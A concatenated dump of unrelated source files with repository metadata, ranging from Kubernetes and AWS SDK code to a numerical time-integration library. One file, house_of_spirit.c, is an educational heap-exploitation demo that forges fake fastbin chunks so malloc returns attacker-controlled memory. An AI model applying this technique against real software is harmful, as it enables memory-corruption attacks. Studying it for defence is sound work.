cJSON_AddItemToObject(item, "http", http_local_JSON); if(item->child == NULL) { goto fail; } } return item; fail: if (item) { cJSON_Delete(item); } return NULL; } extensions_v1beta1_ingress_rule_t *extensions_v1beta1_ingress_rule_parseFromJSON(cJSON *extensions_v1beta1_ingress_ruleJSON){ extensions_v1beta1_ingress_rule_t *extensions_v1beta1_ingress_rule_local_var = NULL; // extensions_v1beta1_ingress_rule->host cJSON *host = cJSON_GetObjectItemCaseSensitive(extensions_v1beta1_ingress_ruleJSON, "host"); if (host) { if(!cJSON_IsString(host)) { goto end; //String } } // extensions_v1beta1_ingress_rule->http cJSON *http = cJSON_GetObjectItemCaseSensitive(extensions_v1beta1_ingress_ruleJSON, "http"); extensions_v1beta1_http_ingress_rule_value_t *http_local_nonprim = NULL; if (http) { http_local_nonprim = extensions_v1beta1_http_ingress_rule_value_parseFromJSON(http); //nonprimitive } extensions_v1beta1_ingress_rule_local_var = extensions_v1beta1_ingress_rule_create ( host ? strdup(host->valuestring) : NULL, http ? http_local_nonprim : NULL ); return extensions_v1beta1_ingress_rule_local_var; end: if (http_local_nonprim) { extensions_v1beta1_http_ingress_rule_value_free(http_local_nonprim); http_local_nonprim = NULL; } return NULL; }
32.2
133
0.755989
156702b93f1c22b1e81e6868432e9de019c5dbd7
2,389
c
C
assets/heap-exploitation/house_of_spirit/house_of_spirit.c
wotwot563/new_blog
d37712bcbf19442bffb247c3fa660b208a8695c3
[ "MIT" ]
1
2021-04-06T19:09:42.000Z
2021-04-06T19:09:42.000Z
assets/heap-exploitation/house_of_spirit/house_of_spirit.c
wotwot563/new_blog
d37712bcbf19442bffb247c3fa660b208a8695c3
[ "MIT" ]
null
null
null
assets/heap-exploitation/house_of_spirit/house_of_spirit.c
wotwot563/new_blog
d37712bcbf19442bffb247c3fa660b208a8695c3
[ "MIT" ]
null
null
null
#include <stdio.h> #include <stdlib.h> #include <string.h> int main() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]); fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); unsigned long long* malicious_chunk = malloc(0x30); fprintf(stderr, "malloc(0x30): %p\n", malicious_chunk); return 0; }
56.880952
340
0.724571
bb8bfe351f91fe78983912c9a05d7ee90fca5d36
3,478
h
C
aws-cpp-sdk-worklink/include/aws/worklink/model/DeviceSummary.h
pixvana/aws-sdk-cpp
7ba3f49c8a2636b48342c71e038aa09b6e47077c
[ "Apache-2.0" ]
2
2019-03-11T15:50:55.000Z
2020-02-27T11:40:27.000Z
aws-cpp-sdk-worklink/include/aws/worklink/model/DeviceSummary.h
isubscribed/aws-sdk-cpp
4689ffab8c5601976e73ac185f20e12a2a0fbc37
[ "Apache-2.0" ]
null
null
null
aws-cpp-sdk-worklink/include/aws/worklink/model/DeviceSummary.h
isubscribed/aws-sdk-cpp
4689ffab8c5601976e73ac185f20e12a2a0fbc37
[ "Apache-2.0" ]
null
null
null
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #include <aws/worklink/WorkLink_EXPORTS.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <aws/worklink/model/DeviceStatus.h> #include <utility> namespace Aws { namespace Utils { namespace Json { class JsonValue; class JsonView; } // namespace Json } // namespace Utils namespace WorkLink { namespace Model { /** * <p>The summary of devices.</p><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DeviceSummary">AWS * API Reference</a></p> */ class AWS_WORKLINK_API DeviceSummary { public: DeviceSummary(); DeviceSummary(Aws::Utils::Json::JsonView jsonValue); DeviceSummary& operator=(Aws::Utils::Json::JsonView jsonValue); Aws::Utils::Json::JsonValue Jsonize() const; /** * <p>The ID of the device.</p> */ inline const Aws::String& GetDeviceId() const{ return m_deviceId; } /** * <p>The ID of the device.</p> */ inline void SetDeviceId(const Aws::String& value) { m_deviceIdHasBeenSet = true; m_deviceId = value; } /** * <p>The ID of the device.</p> */ inline void SetDeviceId(Aws::String&& value) { m_deviceIdHasBeenSet = true; m_deviceId = std::move(value); } /** * <p>The ID of the device.</p> */ inline void SetDeviceId(const char* value) { m_deviceIdHasBeenSet = true; m_deviceId.assign(value); } /** * <p>The ID of the device.</p> */ inline DeviceSummary& WithDeviceId(const Aws::String& value) { SetDeviceId(value); return *this;} /** * <p>The ID of the device.</p> */ inline DeviceSummary& WithDeviceId(Aws::String&& value) { SetDeviceId(std::move(value)); return *this;} /** * <p>The ID of the device.</p> */ inline DeviceSummary& WithDeviceId(const char* value) { SetDeviceId(value); return *this;} /** * <p>The status of the device.</p> */ inline const DeviceStatus& GetDeviceStatus() const{ return m_deviceStatus; } /** * <p>The status of the device.</p> */ inline void SetDeviceStatus(const DeviceStatus& value) { m_deviceStatusHasBeenSet = true; m_deviceStatus = value; } /** * <p>The status of the device.</p> */ inline void SetDeviceStatus(DeviceStatus&& value) { m_deviceStatusHasBeenSet = true; m_deviceStatus = std::move(value); } /** * <p>The status of the device.</p> */ inline DeviceSummary& WithDeviceStatus(const DeviceStatus& value) { SetDeviceStatus(value); return *this;} /** * <p>The status of the device.</p> */ inline DeviceSummary& WithDeviceStatus(DeviceStatus&& value) { SetDeviceStatus(std::move(value)); return *this;} private: Aws::String m_deviceId; bool m_deviceIdHasBeenSet; DeviceStatus m_deviceStatus; bool m_deviceStatusHasBeenSet; }; } // namespace Model } // namespace WorkLink } // namespace Aws
28.048387
125
0.663312
77aad590c112cddce78ac89a1a1fd1da28b14f6b
1,041
h
C
PrettyOkayKit/PrettyOkayKit.h
natestedman/PrettyOkayKit
9b053750288838442e7e18b6be72d680523bfab1
[ "0BSD" ]
null
null
null
PrettyOkayKit/PrettyOkayKit.h
natestedman/PrettyOkayKit
9b053750288838442e7e18b6be72d680523bfab1
[ "0BSD" ]
null
null
null
PrettyOkayKit/PrettyOkayKit.h
natestedman/PrettyOkayKit
9b053750288838442e7e18b6be72d680523bfab1
[ "0BSD" ]
null
null
null
// Copyright (c) 2016, Nate Stedman <nate@natestedman.com> // // Permission to use, copy, modify, and/or distribute this software for any // purpose with or without fee is hereby granted, provided that the above // copyright notice and this permission notice appear in all copies. // // THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH // REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY // AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, // INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM // LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR // OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR // PERFORMANCE OF THIS SOFTWARE. #import <Foundation/Foundation.h> //! Project version number for PrettyOkayKit. FOUNDATION_EXPORT double PrettyOkayKitVersionNumber; //! Project version string for PrettyOkayKit. FOUNDATION_EXPORT const unsigned char PrettyOkayKitVersionString[];
47.318182
80
0.786744
8b399e90da76e5572c675bb4dc8876634d98b21e
1,477
h
C
Examples/include/asposecpplib/net/sockets/socket_option_name.h
kashifiqb/Aspose.PDF-for-C
13d49bba591c5704685820185741e64a462a5bdc
[ "MIT" ]
null
null
null
Examples/include/asposecpplib/net/sockets/socket_option_name.h
kashifiqb/Aspose.PDF-for-C
13d49bba591c5704685820185741e64a462a5bdc
[ "MIT" ]
null
null
null
Examples/include/asposecpplib/net/sockets/socket_option_name.h
kashifiqb/Aspose.PDF-for-C
13d49bba591c5704685820185741e64a462a5bdc
[ "MIT" ]
null
null
null
#pragma once namespace System { namespace Net { namespace Sockets { // Defines socket option names for the <see cref='System.Net.Sockets.Socket'/> class. enum class SocketOptionName { Debug = 0x0001, AcceptConnection = 0x0002, ReuseAddress = 0x0004, KeepAlive = 0x0008, DontRoute = 0x0010, Broadcast = 0x0020, UseLoopback = 0x0040, Linger = 0x0080, OutOfBandInline = 0x0100, DontLinger = static_cast<int32_t>(~Linger), ExclusiveAddressUse = static_cast<int32_t>(~ReuseAddress), SendBuffer = 0x1001, ReceiveBuffer = 0x1002, SendLowWater = 0x1003, ReceiveLowWater = 0x1004, SendTimeout = 0x1005, ReceiveTimeout = 0x1006, Error = 0x1007, Type = 0x1008, ReuseUnicastPort = 0x3007, MaxConnections = 0x7fffffff, IPOptions = 1, HeaderIncluded = 2, TypeOfService = 3, IpTimeToLive = 4, MulticastInterface = 9, MulticastTimeToLive = 10, MulticastLoopback = 11, AddMembership = 12, DropMembership = 13, DontFragment = 14, AddSourceMembership = 15, DropSourceMembership = 16, BlockSource = 17, UnblockSource = 18, PacketInformation = 19, HopLimit = 21, IPProtectionLevel = 23, IPv6Only = 27, NoDelay = 1, BsdUrgent = 2, Expedited = 2, NoChecksum = 1, ChecksumCoverage = 20, UpdateAcceptContext = 0x700B, UpdateConnectContext = 0x7010 }; } // namespace Sockets } // namespace Net } // namespace System
24.616667
85
0.666892
53afa01623da7ac65e7f17b18fbfaa3f653b8541
768
c
C
URI/URI_2221.c
naimulcsx/online-judge-solutions
0b80f81bcfb05a7cfe7fc925304c70b19eff1d6f
[ "MIT" ]
null
null
null
URI/URI_2221.c
naimulcsx/online-judge-solutions
0b80f81bcfb05a7cfe7fc925304c70b19eff1d6f
[ "MIT" ]
null
null
null
URI/URI_2221.c
naimulcsx/online-judge-solutions
0b80f81bcfb05a7cfe7fc925304c70b19eff1d6f
[ "MIT" ]
null
null
null
#include <stdio.h> int main(void) { int N; scanf("%d", &N); while(N--) { int bonus, d_attact, d_defense, d_level, g_attact, g_defense, g_level, d_score, g_score; scanf("%d", &bonus); scanf("%d %d %d", &d_attact, &d_defense, &d_level); scanf("%d %d %d", &g_attact, &g_defense, &g_level); d_score = (d_attact + d_defense) / 2; if (d_level % 2 == 0) d_score += bonus; g_score = (g_attact + g_defense) / 2; if (g_level % 2 == 0) g_score += bonus; if (d_score > g_score) { printf("Dabriel\n"); } else if (g_score > d_score) { printf("Guarte\n"); } else if (g_score == d_score) { printf("Empate\n"); } } return 0; }
25.6
96
0.501302
53ffad6cf334ab596d3ec71049e202dd5840051e
1,588
c
C
cp/copy_file_content.c
yzhs/tlpi
8ddea09f7c11361956bdb145e4d82080fd8eb0f9
[ "CC0-1.0" ]
null
null
null
cp/copy_file_content.c
yzhs/tlpi
8ddea09f7c11361956bdb145e4d82080fd8eb0f9
[ "CC0-1.0" ]
null
null
null
cp/copy_file_content.c
yzhs/tlpi
8ddea09f7c11361956bdb145e4d82080fd8eb0f9
[ "CC0-1.0" ]
null
null
null
#include <err.h> #include <sys/types.h> #include <fcntl.h> #include <stdbool.h> #include <unistd.h> enum { BUF_SIZE = 512 }; bool is_zero(const char buf[], const size_t len) { for (size_t i = 0; i < len; ++i) { if (buf[i] != 0) { return false; } } return true; } int main(int argc, char *argv[]) { if (argc != 3) { errx(1, "Usage: %s SOURCE DEST", argv[0]); } int source = open(argv[1], O_RDONLY); if (source == -1) { err(1, "Failed to open source '%s' for reading", argv[1]); } int dest = creat(argv[2], 0644); if (dest == -1) { err(1, "Failed to open destination '%s' for writing", argv[2]); } char buf[BUF_SIZE]; ssize_t len; bool ends_with_hole = false; while (0 < (len = read(source, buf, sizeof(buf)))) { if (is_zero(buf, len)) { if (-1 == lseek(dest, len, SEEK_CUR)) { err(1, "lseek failed"); } ends_with_hole = true; } else { ssize_t len_written = write(dest, buf, len); if (len_written < len) { err(1, "Failed to write %llu bytes to destination '%s'", (unsigned long long)len, argv[2]); } ends_with_hole = false; } } // Write a byte at the end so the destination gets a final hole as well. if (ends_with_hole) { if (-1 == lseek(dest, -1, SEEK_CUR)) { err(1, "lseek failed"); } char zero = 0; if (write(dest, &zero, 1) <= 0) { err(1, "Failed to write final byte"); } } if (len == -1) { err(1, "Failed to read from source"); } if (close(dest) == -1) { err(1, "Failed to close destination"); } if (close(source) == -1) { err(1, "Failed to close source"); } return 0; }
19.604938
73
0.581234
3eb829a671e3b530f38b52dd0e8de9cf5ea08c5c
849
h
C
core/explorer.h
jeriksson/graphserver
b853f3cecc8af00e02a04fd4e489c27527688284
[ "BSD-3-Clause-Clear" ]
1
2018-05-14T02:43:55.000Z
2018-05-14T02:43:55.000Z
core/explorer.h
jeriksson/graphserver
b853f3cecc8af00e02a04fd4e489c27527688284
[ "BSD-3-Clause-Clear" ]
null
null
null
core/explorer.h
jeriksson/graphserver
b853f3cecc8af00e02a04fd4e489c27527688284
[ "BSD-3-Clause-Clear" ]
null
null
null
#ifndef EXPLORER_H #define EXPLORER_H #include "graph.h" #define LAT_DISTANCE 213.5 #define LONG_DISTANCE ((187.9 + 182.3) / 2) #define DISTANCE_RATIO (LONG_DISTANCE / LAT_DISTANCE) #define PNG_PIXELS_HEIGHT 4000 #define PNG_PIXELS_WIDTH (PNG_PIXELS_HEIGHT * DISTANCE_RATIO) #define LONG_EAST_BOUND 86.866 #define LAT_NORTH_BOUND 42.948 #define LONG_WEST_BOUND 89.106 #define LAT_SOUTH_BOUND 41.028 #define LONG_INTERVAL ((LONG_WEST_BOUND - LONG_EAST_BOUND) / PNG_PIXELS_WIDTH) #define LAT_INTERVAL ((LAT_NORTH_BOUND - LAT_SOUTH_BOUND) / PNG_PIXELS_HEIGHT) void drawSimpleImage(Graph * g, char * from, char * to, State* init_state, WalkOptions* options, long maxTime); void makeUrbanExplorerBlob(Graph * g, char * source, char * destination, State* init_state_source, State* init_state_destination, WalkOptions* options); #endif
27.387097
106
0.783274
85c9e5d0c4cfcf19fd80a797d237eeb3b6a30c6e
32,685
h
C
inc/dg/multistep.h
gregordecristoforo/feltor
d3b7b296e6f5be3a9ff9d602d98461ed9c60033a
[ "MIT" ]
18
2016-06-28T14:34:29.000Z
2022-01-06T08:50:48.000Z
inc/dg/multistep.h
gregordecristoforo/feltor
d3b7b296e6f5be3a9ff9d602d98461ed9c60033a
[ "MIT" ]
11
2017-01-18T16:06:15.000Z
2021-02-22T19:11:42.000Z
inc/dg/multistep.h
gregordecristoforo/feltor
d3b7b296e6f5be3a9ff9d602d98461ed9c60033a
[ "MIT" ]
12
2016-06-27T13:18:11.000Z
2021-09-03T08:12:25.000Z
#pragma once #include <map> #include "implicit.h" #include "runge_kutta.h" #include "multistep_tableau.h" //MW: if ever we want to change the SolverType at runtime (with an input parameter e.g.) make it a new parameter in the solve method (either abstract type or template like RHS) /*! @file @brief contains multistep explicit& implicit time-integrators */ namespace dg{ /*! @class hide_explicit_implicit * @tparam Explicit The explicit part of the right hand side is a functor type with no return value (subroutine) of signature <tt> void operator()(value_type, const ContainerType&, ContainerType&)</tt> The first argument is the time, the second is the input vector, which the functor may \b not override, and the third is the output, i.e. y' = f(t, y) translates to f(t, y, y'). The two ContainerType arguments never alias each other in calls to the functor. * @tparam Implicit The implicit part of the right hand side is a functor type with no return value (subroutine) of signature <tt> void operator()(value_type, const ContainerType&, ContainerType&)</tt> The first argument is the time, the second is the input vector, which the functor may \b not override, and the third is the output, i.e. y' = f(t, y) translates to f(t, y, y'). The two ContainerType arguments never alias each other in calls to the functor. Furthermore, if the \c DefaultSolver is used, the routines %weights(), %inv_weights() and %precond() must be callable and return diagonal weights, inverse weights and the preconditioner for the conjugate gradient method. The return type of these member functions must be useable in blas2 functions together with the ContainerType type. * @param ex explic part * @param im implicit part ( must be linear in its second argument and symmetric up to weights) */ /*!@class hide_note_multistep * @note Uses only \c blas1::axpby routines to integrate one step. * @note The difference between a multistep and a single step method like RungeKutta * is that the multistep only takes one right-hand-side evaluation per step. * This is advantageous if the right hand side is expensive to evaluate. * Even though Runge Kutta methods can have a larger absolute timestep, if * the effective timestep per rhs evaluation is compared, multistep methods * generally win. * @note a disadvantage of multistep is that timestep adaption is not easily done. */ /** * @brief Semi-implicit multistep time-integration * \f[ * \begin{align} v^{n+1} = \sum_{q=0}^{s-1} a_q v^{n-q} + \Delta t\left[\left(\sum_{q=0}^{s-1}b_q \hat E(t^{n}-q\Delta t, v^{n-q}) + \sum_{q=1}^{s} c_q \hat I( t^n - q\Delta t, v^{n-q})\right) + c_0\hat I(t^{n}+\Delta t, v^{n+1})\right] \end{align} \f] which discretizes \f[ \frac{\partial v}{\partial t} = \hat E(t,v) + \hat I(t,v) \f] where \f$ \hat E \f$ contains the explicit and \f$ \hat I \f$ the implicit part of the equations. As an example, the coefficients for the 3-step, 3rd order "Karniadakis" scheme are \f[ a_0 = \frac{18}{11}\ a_1 = -\frac{9}{11}\ a_2 = \frac{2}{11} \\ b_0 = \frac{18}{11}\ b_1 = -\frac{18}{11}\ b_2 = \frac{6}{11} \\ c_0 = \frac{6}{11}\quad c_1 = c_2 = c_3 = 0 \\ \f] You can use your own coefficients defined as a \c dg::MultistepTableau or use one of the predefined coefficients in @copydoc hide_imex_multistep_tableaus * * The necessary Inversion in the implicit part is provided by the \c SolverType class. * Per Default, a conjugate gradient method is used (therefore \f$ \hat I(t,v)\f$ must be linear in \f$ v\f$). * * The following code example demonstrates how to implement the method of manufactured solutions on a 2d partial differential equation with the dg library: * @snippet multistep_t.cu function * In the main function: * @snippet multistep_t.cu karniadakis * @note In our experience the implicit treatment of diffusive or hyperdiffusive terms may significantly reduce the required number of time steps. This outweighs the increased computational cost of the additional matrix inversions. However, each PDE is different and general statements like this one should be treated with care. * @copydoc hide_note_multistep * @copydoc hide_SolverType * @copydoc hide_ContainerType * @ingroup time */ template<class ContainerType, class SolverType = dg::DefaultSolver<ContainerType>> struct ImExMultistep { using value_type = get_value_type<ContainerType>;//!< the value type of the time variable (float or double) using container_type = ContainerType; //!< the type of the vector class in use ///@copydoc RungeKutta::RungeKutta() ImExMultistep(){} /*! @brief Reserve memory for integration and construct Solver * * @param tableau Tableau, name or identifier that \c ConvertsToMultistepTableau * @param ps Parameters that are forwarded to the constructor of \c SolverType * @tparam SolverParams Type of parameters (deduced by the compiler) */ template<class ...SolverParams> ImExMultistep( ConvertsToMultistepTableau<value_type> tableau, SolverParams&& ...ps): m_t(tableau), m_solver( std::forward<SolverParams>(ps)...) { //only store implicit part if needed unsigned size_f = 0; for( unsigned i=0; i<m_t.steps(); i++ ) { if( m_t.im( i+1) != 0 ) size_f = i+1; } m_im.assign( size_f, m_solver.copyable()); m_u.assign( m_t.steps(), m_solver.copyable()); m_ex.assign( m_t.steps(), m_solver.copyable()); m_tmp = m_solver.copyable(); m_counter = 0; } /** * @brief Perfect forward parameters to one of the constructors * * @tparam Params deduced by the compiler * @param ps parameters forwarded to constructors */ template<class ...Params> void construct( Params&& ...ps) { //construct and swap *this = ImExMultistep( std::forward<Params>( ps)...); } ///@brief Return an object of same size as the object used for construction ///@return A copyable object; what it contains is undefined, its size is important const ContainerType& copyable()const{ return m_u[0];} ///Write access to the internal solver for the implicit part SolverType& solver() { return m_solver;} ///Read access to the internal solver for the implicit part const SolverType& solver() const { return m_solver;} /** * @brief Initialize timestepper. Call before using the step function. * * This routine has to be called before the first timestep is made. * @copydoc hide_explicit_implicit * @param t0 The intital time corresponding to u0 * @param u0 The initial value of the integration * @param dt The timestep saved for later use * @note the implementation is such that on output the last call to the explicit part \c ex is at \c (t0,u0). This might be interesting if the call to \c ex changes its state. */ template< class Explicit, class Implicit> void init( Explicit& ex, Implicit& im, value_type t0, const ContainerType& u0, value_type dt); /** * @brief Advance one timestep * * @copydoc hide_explicit_implicit * @param t (write-only), contains timestep corresponding to \c u on output * @param u (write-only), contains next step of time-integration on output * @note the implementation is such that on output the last call to the explicit part \c ex is at the new \c (t,u). This might be interesting if the call to \c ex changes its state. * @attention The first few steps after the call to the init function are performed with a semi-implicit Runge-Kutta method to initialize the multistepper */ template< class Explicit, class Implicit> void step( Explicit& ex, Implicit& im, value_type& t, ContainerType& u); private: dg::MultistepTableau<value_type> m_t; SolverType m_solver; std::vector<ContainerType> m_u, m_ex, m_im; ContainerType m_tmp; value_type m_tu, m_dt; unsigned m_counter; //counts how often step has been called after init }; ///@cond template< class ContainerType, class SolverType> template< class RHS, class Diffusion> void ImExMultistep<ContainerType, SolverType>::init( RHS& f, Diffusion& diff, value_type t0, const ContainerType& u0, value_type dt) { m_tu = t0, m_dt = dt; unsigned s = m_t.steps(); blas1::copy( u0, m_u[s-1]); f( t0, u0, m_ex[s-1]); //f may not destroy u0 m_counter = 0; if( s-1-m_counter < m_im.size()) diff( m_tu, m_u[s-1-m_counter], m_im[s-1-m_counter]); } template<class ContainerType, class SolverType> template< class RHS, class Diffusion> void ImExMultistep<ContainerType, SolverType>::step( RHS& f, Diffusion& diff, value_type& t, ContainerType& u) { unsigned s = m_t.steps(); if( m_counter < s - 1) { std::map<unsigned, std::string> order2method{ {1, "ARK-4-2-3"}, {2, "ARK-4-2-3"}, {3, "ARK-4-2-3"}, {4, "ARK-6-3-4"}, {5, "ARK-8-4-5"}, {6, "ARK-8-4-5"}, {7, "ARK-8-4-5"} }; ARKStep<ContainerType, SolverType> ark( order2method.at( m_t.order()), m_solver); ContainerType tmp ( u); ark.step( f, diff, t, u, t, u, m_dt, tmp); m_counter++; m_tu = t; dg::blas1::copy( u, m_u[s-1-m_counter]); f( m_tu, m_u[s-1-m_counter], m_ex[s-1-m_counter]); //only assign to f if we actually need to store it if( s-1-m_counter < m_im.size()) diff( m_tu, m_u[s-1-m_counter], m_im[s-1-m_counter]); m_solver = ark.solver(); // store the state of the solver return; } //compute right hand side of inversion equation dg::blas1::axpbypgz( m_t.a(0), m_u[0], m_dt*m_t.ex(0), m_ex[0], 0., m_tmp); for (unsigned i = 1; i < s; i++) dg::blas1::axpbypgz( m_t.a(i), m_u[i], m_dt*m_t.ex(i), m_ex[i], 1., m_tmp); for (unsigned i = 0; i < m_im.size(); i++) dg::blas1::axpby( m_dt*m_t.im(i+1), m_im[i], 1., m_tmp); t = m_tu = m_tu + m_dt; value_type alpha[2] = {2., -1.}; //value_type alpha[2] = {1., 0.}; if( s > 1 ) //everything higher than Euler dg::blas1::axpby( alpha[0], m_u[0], alpha[1], m_u[1], u); else dg::blas1::copy( m_u[0], u); //Rotate 1 to the right (note the reverse iterator here!) std::rotate( m_u.rbegin(), m_u.rbegin() + 1, m_u.rend()); std::rotate( m_ex.rbegin(), m_ex.rbegin() + 1, m_ex.rend()); if( !m_im.empty()) std::rotate( m_im.rbegin(), m_im.rbegin() + 1, m_im.rend()); //compute implicit part m_solver.solve( -m_dt*m_t.im(0), diff, t, u, m_tmp); blas1::copy( u, m_u[0]); //store result f(m_tu, m_u[0], m_ex[0]); //call f on new point if( 0 < m_im.size()) diff( m_tu, m_u[0], m_im[0]); //call diff on new point } ///@endcond /** * @brief EXPERIMENTAL: Implicit multistep time-integration with Limiter/Filter * \f[ * \begin{align} \tilde v &= \sum_{i=0}^{s-1} a_i v^{n-i} + \Delta t \sum_{i=1}^{s} c_i\hat I(t^{n+1-i}, v^{n+1-i}) + \Delta t c_{0} \hat I (t + \Delta t, \tilde v) \\ v^{n+1} &= \Lambda\Pi\left(\tilde v\right) \end{align} \f] which discretizes \f[ \frac{\partial v}{\partial t} = \hat I(t,v) \f] where \f$ \hat I \f$ represents the right hand side of the equations. You can use your own coefficients defined as a \c dg::MultistepTableau or use one of the predefined coefficients in @copydoc hide_implicit_multistep_tableaus and (any imex tableau can be used in an implicit scheme, disregarding the explicit coefficients) @copydoc hide_imex_multistep_tableaus * * The necessary Inversion in the implicit part is provided by the \c SolverType class. * Per Default, a conjugate gradient method is used (therefore \f$ \hat I(t,v)\f$ must be linear in \f$ v\f$). For nonlinear right hand side we recommend the AndersonSolver * * @note In our experience the implicit treatment of diffusive or hyperdiffusive terms can significantly reduce the required number of time steps. This outweighs the increased computational cost of the additional inversions. However, each PDE is different and general statements like this one should be treated with care. * @copydoc hide_note_multistep * @copydoc hide_SolverType * @copydoc hide_ContainerType * @ingroup time * @attention The filter function inside the Implicit Multistep method is a * somewhat experimental feature, so use this class over * \c dg::ImplicitMultistep at your own risk */ template<class ContainerType, class SolverType = dg::DefaultSolver<ContainerType>> struct FilteredImplicitMultistep { using value_type = get_value_type<ContainerType>;//!< the value type of the time variable (float or double) using container_type = ContainerType; //!< the type of the vector class in use ///@copydoc RungeKutta::RungeKutta() FilteredImplicitMultistep(){} /*! @brief Reserve memory for integration and construct Solver * * @param tableau Tableau, name or identifier that \c ConvertsToMultistepTableau * @param ps Parameters that are forwarded to the constructor of \c SolverType * @tparam SolverParams Type of parameters (deduced by the compiler) */ template<class ...SolverParams> FilteredImplicitMultistep( ConvertsToMultistepTableau<value_type> tableau, SolverParams&& ...ps): m_t( tableau), m_solver( std::forward<SolverParams>(ps)...) { unsigned size_f = 0; for( unsigned i=0; i<m_t.steps(); i++ ) { if( m_t.im( i+1) != 0 ) size_f = i+1; } m_f.assign( size_f, m_solver.copyable()); m_u.assign( m_t.steps(), m_solver.copyable()); m_tmp = m_solver.copyable(); m_counter = 0; } /** * @brief Perfect forward parameters to one of the constructors * * @tparam Params deduced by the compiler * @param ps parameters forwarded to constructors */ template<class ...Params> void construct(Params&& ...ps) { //construct and swap *this = FilteredImplicitMultistep( std::forward<Params>(ps)...); } ///@brief Return an object of same size as the object used for construction ///@return A copyable object; what it contains is undefined, its size is important const ContainerType& copyable()const{ return m_u[0];} ///Write access to the internal solver for the implicit part SolverType& solver() { return m_solver;} ///Read access to the internal solver for the implicit part const SolverType& solver() const { return m_solver;} ///@copydoc FilteredExplicitMultistep::init() template<class RHS, class Limiter> void init(RHS& rhs, Limiter& limiter, value_type t0, const ContainerType& u0, value_type dt); ///@copydoc FilteredExplicitMultistep::step() template<class RHS, class Limiter> void step(RHS& rhs, Limiter& limiter, value_type& t, container_type& u); private: dg::MultistepTableau<value_type> m_t; SolverType m_solver; value_type m_tu, m_dt; std::vector<ContainerType> m_u; std::vector<ContainerType> m_f; ContainerType m_tmp; unsigned m_counter = 0; //counts how often step has been called after init }; ///@cond template< class ContainerType, class SolverType> template<class RHS, class Limiter> void FilteredImplicitMultistep<ContainerType, SolverType>::init(RHS& rhs, Limiter& l, value_type t0, const ContainerType& u0, value_type dt) { m_tu = t0, m_dt = dt; l.apply( u0, m_u[m_u.size()-1]); m_counter = 0; //only assign to f if we actually need to store it unsigned s = m_t.steps(); if( s-1-m_counter < m_f.size()) rhs( m_tu, m_u[s-1-m_counter], m_f[s-1-m_counter]); } template< class ContainerType, class SolverType> template<class RHS, class Limiter> void FilteredImplicitMultistep<ContainerType, SolverType>::step(RHS& rhs, Limiter& l, value_type& t, container_type& u) { unsigned s = m_t.steps(); //max( m_u.size(), m_f.size()) if( m_counter < s - 1) { std::map<unsigned, enum tableau_identifier> order2method{ {1, IMPLICIT_EULER_1_1}, {2, TRAPEZOIDAL_2_2}, {3, KVAERNO_4_2_3}, {4, SDIRK_5_3_4}, {5, KVAERNO_7_4_5}, {6, KVAERNO_7_4_5}, {7, KVAERNO_7_4_5} }; ImplicitRungeKutta<ContainerType, SolverType> dirk( order2method.at(m_t.order()), m_solver); dirk.step( rhs, t, u, t, u, m_dt); m_counter++; m_tu = t; l.apply( u, m_u[s-1-m_counter]); dg::blas1::copy( m_u[s-1-m_counter], u); //only assign to f if we actually need to store it if( s-1-m_counter < m_f.size()) rhs( m_tu, m_u[s-1-m_counter], m_f[s-1-m_counter]); m_solver = dirk.solver(); // store the state of the solver return; } //compute right hand side of inversion equation dg::blas1::axpby( m_t.a(0), m_u[0], 0., m_tmp); for (unsigned i = 1; i < s; i++) dg::blas1::axpby( m_t.a(i), m_u[i], 1., m_tmp); for (unsigned i = 0; i < m_f.size(); i++) dg::blas1::axpby( m_dt*m_t.im(i+1), m_f[i], 1., m_tmp); t = m_tu = m_tu + m_dt; value_type alpha[2] = {2., -1.}; //value_type alpha[2] = {1., 0.}; if( s > 